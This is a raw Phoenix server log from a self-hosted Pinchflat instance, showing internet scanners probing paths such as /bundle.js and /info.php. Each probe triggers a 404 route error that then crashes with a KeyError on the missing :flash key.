"147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bundle (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9625.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bundle.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35224}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9626.0>, params: %{}, path_info: ["bundle"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/bundle.js", resp_body: nil, resp_cookies: %{}, r (truncated) 15:21:49.303 [info] GET /app.bundle.js 15:21:49.303 [debug] QUERY OK source="settings" db=0.1ms idle=512.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:49.303 [debug] QUERY OK source="settings" db=0.0ms idle=475.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:49.303 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:49.303 [error] #PID<0.9628.0> running PinchflatWeb.Endpoint (connection #PID<0.9627.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /app.bundle.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app.bundle (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9627.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app.bundle.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35236}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9628.0>, params: %{}, path_info: ["app.bundle"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/app.bundle.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA2xKcaSEJQsAAITD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9627.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app.bundle.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35236}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app.bundle (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9627.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app.bundle.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35236}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9628.0>, params: %{}, path_info: ["app.bundle"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/app.bundle.js", resp_body: nil, (truncated) 15:21:49.540 [info] GET /main.bundle.js 15:21:49.541 [debug] QUERY OK source="settings" db=0.1ms idle=475.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:49.541 [debug] QUERY OK source="settings" db=0.1ms idle=476.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:49.541 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:49.541 [error] #PID<0.9630.0> running PinchflatWeb.Endpoint (connection #PID<0.9629.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /main.bundle.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /main.bundle (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9629.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/main.bundle.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35240}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9630.0>, params: %{}, path_info: ["main.bundle"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/main.bundle.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA3p4nSPtL4YAAcUC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9629.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/main.bundle.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35240}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /main.bundle (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9629.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/main.bundle.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35240}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9630.0>, params: %{}, path_info: ["main.bundle"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/main.bundle.js", resp_b (truncated) 15:21:49.770 [info] GET /info.php 15:21:49.770 [debug] QUERY OK source="settings" db=0.0ms idle=466.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:49.770 [debug] QUERY OK source="settings" db=0.0ms idle=466.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:49.770 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:49.770 [error] #PID<0.9632.0> running PinchflatWeb.Endpoint (connection #PID<0.9631.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9631.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35250}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9632.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA4gjfsGz2DAAAcVC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9631.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35250}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9631.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35250}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9632.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA4gjfsGz2DAAAcVC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", (truncated) 15:21:49.777 [info] GET /vendor.js 15:21:49.778 [debug] QUERY OK source="settings" db=0.0ms idle=274.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:49.778 [debug] QUERY OK source="settings" db=0.0ms idle=236.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:49.778 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:49.778 [error] #PID<0.9634.0> running PinchflatWeb.Endpoint (connection #PID<0.9633.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /vendor.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /vendor (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9633.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35262}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9634.0>, params: %{}, path_info: ["vendor"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/vendor.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA4iXv-dgpeMAAIUD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9633.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35262}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: 